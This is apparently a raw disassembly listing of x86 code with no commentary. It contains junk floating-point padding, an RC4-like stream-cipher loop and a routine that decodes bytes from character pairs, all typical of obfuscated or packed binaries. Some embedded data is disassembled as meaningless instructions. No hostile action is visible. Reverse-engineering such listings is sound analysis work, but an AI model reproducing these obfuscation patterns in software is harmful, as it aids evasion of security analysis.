movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x3520]
comiss xmm0, dword [ebp - 0x33ec]
jbe 0x435684
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x34e8]
mulss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
mov eax, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], eax
jmp 0x4359f6
movss xmm0, dword [ebp - 0x33ec]
divss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x3510]
divss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x34e8]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x34b0]
divss xmm0, dword [ebp - 0x3520]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3520]
divss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x3510]
mulss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3520]
divss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3520]
subss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x33ec]
mulss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34b0]
comiss xmm0, dword [ebp - 0x33ec]
jbe 0x43597e
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3520]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3520]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x3520]
subss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3520]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x33ec]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x3510]
mulss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x33ec]
comiss xmm0, dword [ebp - 0x34b0]
jbe 0x435904
movss xmm0, dword [ebp - 0x3520]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x3520]
divss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x33ec]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x34e8], xmm0
jmp 0x43597c
movss xmm0, dword [ebp - 0x33ec]
divss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x3520]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34e8]
divss xmm0, dword [ebp - 0x3520]
movss dword [ebp - 0x34e8], xmm0
jmp 0x4359f6
movss xmm0, dword [ebp - 0x33ec]
subss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34b0]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x33ec]
divss xmm0, dword [ebp - 0x34e8]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
mov ecx, dword [ebp - 0x3720]
or ecx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], ecx
mov dl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], dl
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x32bf], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x326f]
add ecx, eax
mov byte [ebp - 0x326f], cl
mov dl, byte [ebp - 0x3263]
add dl, 1
mov byte [ebp - 0x3263], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp - 0x3276]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
mov cl, byte [ebp - 0x32bf]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x32bf]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x3263]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
xor edx, ecx
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x328d]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
movzx eax, byte [ebp - 0x32c0]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp + ecx - 0x5028]
xor edx, eax
mov byte [ebp - 0x3276], dl
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], cl
mov dl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], dl
cmp dword [ebp - 0x3344], 0
jle 0x435b98
movsx ax, byte [ebp - 0x3309]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x3a6], ax
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x3714], ecx
mov edx, dword [ebp - 0x3718]
add edx, dword [ebp - 0x3714]
movzx eax, byte [edx]
mov dword [ebp - 0x3698], eax
mov dword [ebp - 0x369c], 0x14
movsd xmm0, qword [0xa6ede8]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [0xa6ebb0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [0xa6e930]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
addsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
subsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3d10]
mulsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
comisd xmm0, xmmword [ebp - 0x3d10]
jbe 0x435e96
movsd xmm0, qword [ebp - 0x3ccc]
addsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
addsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3d10]
subsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3d10]
subsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
addsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3d10]
divsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
comisd xmm0, xmmword [ebp - 0x3ae0]
jbe 0x435d60
movsd xmm0, qword [ebp - 0x3ae0]
divsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3d10]
subsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
divsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
jmp 0x435e94
movsd xmm0, qword [ebp - 0x3ccc]
divsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
divsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
mulsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3ccc]
divsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
divsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
mulsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3d10]
comisd xmm0, xmmword [ebp - 0x3ae0]
jbe 0x435e4c
movsd xmm0, qword [ebp - 0x3ae0]
addsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
mulsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3d10]
mulsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3d10], xmm0
jmp 0x435e94
movsd xmm0, qword [ebp - 0x3ccc]
addsd xmm0, qword [ebp - 0x3ae0]
movsd qword [ebp - 0x3ccc], xmm0
movsd xmm0, qword [ebp - 0x3d10]
mulsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3ae0]
subsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
jmp 0x435eee
movsd xmm0, qword [ebp - 0x3ae0]
mulsd xmm0, qword [ebp - 0x3d10]
movsd qword [ebp - 0x3ae0], xmm0
movsd xmm0, qword [ebp - 0x3d10]
subsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
movsd xmm0, qword [ebp - 0x3d10]
addsd xmm0, qword [ebp - 0x3ccc]
movsd qword [ebp - 0x3d10], xmm0
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x371c], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x371c]
movzx ecx, byte [eax]
mov dword [ebp - 0x36a0], ecx
mov dword [ebp - 0x360c], 0x5f
mov edx, dword [ebp - 0x3698]
sub edx, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x36a0]
sub eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], eax
mov ecx, dword [ebp - 0x35fc]
shl ecx, 4
mov dword [ebp - 0x3720], ecx
mov edx, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], edx
mov eax, dword [ebp - 0x3720]
or eax, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], eax
mov cl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], cl
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + edx - 0x5028]
mov byte [ebp - 0x32bf], al
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp - 0x326f]
add eax, edx
mov byte [ebp - 0x326f], al
mov cl, byte [ebp - 0x3263]
add cl, 1
mov byte [ebp - 0x3263], cl
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3276]
movzx eax, byte [ebp - 0x326f]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp - 0x3276]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3263]
mov al, byte [ebp - 0x32bf]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x32bf]
movzx edx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp - 0x32c0]
add eax, edx
mov byte [ebp - 0x32c0], al
movzx ecx, byte [ebp - 0x32c1]
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp + edx - 0x5028]
movzx edx, byte [ebp - 0x3263]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5028]
xor ecx, eax
movzx edx, byte [ebp - 0x3276]
movzx eax, byte [ebp + edx - 0x5028]
movzx edx, byte [ebp - 0x328d]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
movzx edx, byte [ebp - 0x32c0]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp + eax - 0x5028]
xor ecx, edx
mov byte [ebp - 0x3276], cl
mov al, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], al
mov cl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], cl
cmp dword [ebp - 0x3344], 0
jle 0x4360ec
movsx dx, byte [ebp - 0x3309]
mov eax, dword [ebp - 0x3344]
mov word [ebp + eax*2 - 0x3a6], dx
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x3714], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x3714]
movzx edx, byte [ecx]
mov dword [ebp - 0x3698], edx
mov dword [ebp - 0x369c], 0x14
mov eax, dword [ebp - 0x3344]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x371c], ecx
mov edx, dword [ebp - 0x3718]
add edx, dword [ebp - 0x371c]
movzx eax, byte [edx]
mov dword [ebp - 0x36a0], eax
mov dword [ebp - 0x360c], 0x5f
mov ecx, dword [ebp - 0x3698]
sub ecx, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], ecx
mov edx, dword [ebp - 0x36a0]
sub edx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x35fc]
shl eax, 4
mov dword [ebp - 0x3720], eax
mov ecx, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], ecx
mov edx, dword [ebp - 0x3720]
or edx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], edx
mov al, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], al
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x32bf], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x326f]
add edx, ecx
mov byte [ebp - 0x326f], dl
mov al, byte [ebp - 0x3263]
add al, 1
mov byte [ebp - 0x3263], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp - 0x3276]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3263]
mov dl, byte [ebp - 0x32bf]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x32bf]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x32c0]
add edx, ecx
mov byte [ebp - 0x32c0], dl
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x3263]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
xor eax, edx
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x328d]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
movzx ecx, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp + edx - 0x5028]
xor eax, ecx
mov byte [ebp - 0x3276], al
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], dl
mov al, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], al
cmp dword [ebp - 0x3344], 0
jle 0x436346
movsx cx, byte [ebp - 0x3309]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x3a6], cx
mov eax, dword [ebp - 0x3344]
add eax, 1
mov dword [ebp - 0x3344], eax
mov ecx, dword [ebp - 0x34e4]
add ecx, 1
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x3714]
movzx ecx, byte [eax]
mov dword [ebp - 0x3698], ecx
mov dword [ebp - 0x369c], 0x14
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0x5f
mov eax, dword [ebp - 0x3698]
sub eax, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x36a0]
sub ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x35fc]
shl edx, 4
mov dword [ebp - 0x3720], edx
mov eax, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], eax
mov ecx, dword [ebp - 0x3720]
or ecx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], ecx
mov dl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], dl
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x32bf], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x326f]
add ecx, eax
mov byte [ebp - 0x326f], cl
mov dl, byte [ebp - 0x3263]
add dl, 1
mov byte [ebp - 0x3263], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp - 0x3276]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
mov cl, byte [ebp - 0x32bf]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x32bf]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x3263]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
xor edx, ecx
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x328d]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
movzx eax, byte [ebp - 0x32c0]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp + ecx - 0x5028]
xor edx, eax
mov byte [ebp - 0x3276], dl
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], cl
mov dl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], dl
cmp dword [ebp - 0x3344], 0
jle 0x4365a1
movsx ax, byte [ebp - 0x3309]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x3a6], ax
mov edx, 2
imul eax, edx, 0x2b
mov dword [ebp - 0x51c0], eax
cmp dword [ebp - 0x51c0], 0x58
jae 0x4365ba
jmp 0x4365bf
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x51c0]
mov word [ebp + edx - 0x3a4], cx
jmp 0x436625
mov dword [ebp - 0x483c], 0
jmp 0x4365ec
mov eax, dword [ebp - 0x483c]
add eax, 1
mov dword [ebp - 0x483c], eax
cmp dword [ebp - 0x483c], 0x2c
jge 0x436625
mov ecx, dword [ebp - 0x483c]
shl ecx, 1
mov dword [ebp - 0x51bc], ecx
cmp dword [ebp - 0x51bc], 0x58
jae 0x43660e
jmp 0x436613
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x51bc]
mov word [ebp + eax - 0x3a4], dx
jmp 0x4365dd
push 0
push 1
mov ecx, dword [ebp - 0x458c]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0
lea eax, [ebp - 0x3a4]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3240], 0
mov dword [ebp - 0x31ec], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4734], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d8], xmm0
jmp 0x43669c
movsd xmm0, qword [ebp - 0x45d8]
addsd xmm0, qword [0xa6e340]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [0xa6e880]
comisd xmm0, xmmword [ebp - 0x45d8]
jbe 0x43674d
movsd xmm0, qword [0xa6e6c0]
mulsd xmm0, qword [ebp - 0x45d8]
mulsd xmm0, qword [ebp - 0x45d8]
movsd xmm1, qword [ebp - 0x45d8]
mulsd xmm1, qword [ebp - 0x45d8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3c8]
mulsd xmm1, qword [ebp - 0x45d8]
mulsd xmm1, qword [ebp - 0x45d8]
addsd xmm1, qword [0xa6e498]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4734]
movsd qword [ebp - 0x4734], xmm0
movsd xmm0, qword [ebp - 0x4734]
comisd xmm0, xmmword [0xa6e5d8]
jbe 0x436748
movsd xmm0, qword [0xa6e280]
mulsd xmm0, qword [ebp - 0x45d8]
movsd xmm1, qword [ebp - 0x4734]
subsd xmm1, xmm0
movsd qword [ebp - 0x4734], xmm1
jmp 0x436684
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4734]
jbe 0x4367c1
daa
sbb esp, dword [edi]
and ebp, dword [esi]
and al, 0x31
adc eax, 0x1c2a1628
sub al, 0x24
sub eax, 0x311e321b
and ah, byte [edi]
sbb al, 0x2b
and al, 0x28
adc eax, 0x1e331e30
xor ah, byte [ecx]
xor eax, 0x2d1a2b20
and dword [edi], ebp
sbb byte [ecx], dh
pop ds
xor dword [esi], ebx
xor ebx, dword [eax]
xor eax, 0x2c243120
adc eax, 0x1c321530
sub al, 0x23
daa
and byte [0x321a2a24], dh
sbb al, 0x2a
push ss
xor byte [ebx], bl
xor al, 0x1d
das
sbb dword [edx], esi
adc eax, 0x19281f29
sub bl, byte [eax]
jnp 0x436804
xor al, 0x25
dec ebp
pop esp
arpl word gs:[ebx + 0x33], bx
pop ebx
imul ebp, dword [0xe9766660], 0x3270
mov dword [ebp - 0x3240], 0x43675a
mov dword [ebp - 0x31ec], 0x4367ac
mov edx, dword [ebp - 0x3240]
mov dword [ebp - 0x3730], edx
mov eax, dword [ebp - 0x31ec]
mov dword [ebp - 0x5fc0], eax
mov byte [ebp - 0x3fe6], 0x14
mov dword [ebp - 0x3960], 0
jmp 0x43680f
mov ecx, dword [ebp - 0x3960]
add ecx, 1
mov dword [ebp - 0x3960], ecx
invalid
cmp dword [ebp - 0x3960], 0x100
jae 0x436830
mov edx, dword [ebp - 0x3960]
mov al, byte [ebp - 0x3960]
mov byte [ebp + edx - 0x4f28], al
jmp 0x436800
mov dword [ebp - 0x44d0], 0
mov byte [ebp - 0x334c], 0
mov dword [ebp - 0x3960], 0xff
jmp 0x43685c
mov ecx, dword [ebp - 0x3960]
sub ecx, 1
mov dword [ebp - 0x3960], ecx
cmp dword [ebp - 0x3960], 0
jbe 0x436acc
mov dword [ebp - 0x4af4], 0
mov dword [ebp - 0x4838], 1
mov edx, dword [ebp - 0x4838]
cmp edx, dword [ebp - 0x3960]
jae 0x43689d
mov eax, dword [ebp - 0x4838]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4838], ecx
jmp 0x43687d
mov edx, dword [ebp - 0x44d0]
mov dword [ebp - 0x51b8], edx
cmp dword [ebp - 0x51b8], 3
ja case.default.0x4368bc
mov eax, dword [ebp - 0x51b8]
jmp dword [eax*4 + 0x46b530]
movzx ecx, byte [ebp - 0x334c]
movzx ebx, byte [ebp + ecx - 0x4f28]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334c], bl
jmp 0x4369a5
movzx edx, byte [ebp - 0x334c]
movzx ebx, byte [ebp + edx - 0x4f28]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334c], bl
jmp 0x4369a5
movzx eax, byte [ebp - 0x334c]
movzx ebx, byte [ebp + eax - 0x4f28]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334c], bl
jmp 0x4369a5
movzx ecx, byte [ebp - 0x334c]
movzx ebx, byte [ebp + ecx - 0x4f28]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334c], bl
jmp 0x4369a5
movzx edx, byte [ebp - 0x334c]
movzx eax, byte [ebp + edx - 0x4f28]
mov ecx, dword [ebp - 0x5fc0]
add ecx, dword [ebp - 0x44d0]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x334c], al
mov eax, dword [ebp - 0x44d0]
add eax, 1
mov dword [ebp - 0x44d0], eax
movzx ecx, byte [ebp - 0x3fe6]
cmp dword [ebp - 0x44d0], ecx
jb 0x4369e3
mov dword [ebp - 0x44d0], 0
movzx edx, byte [ebp - 0x3fe6]
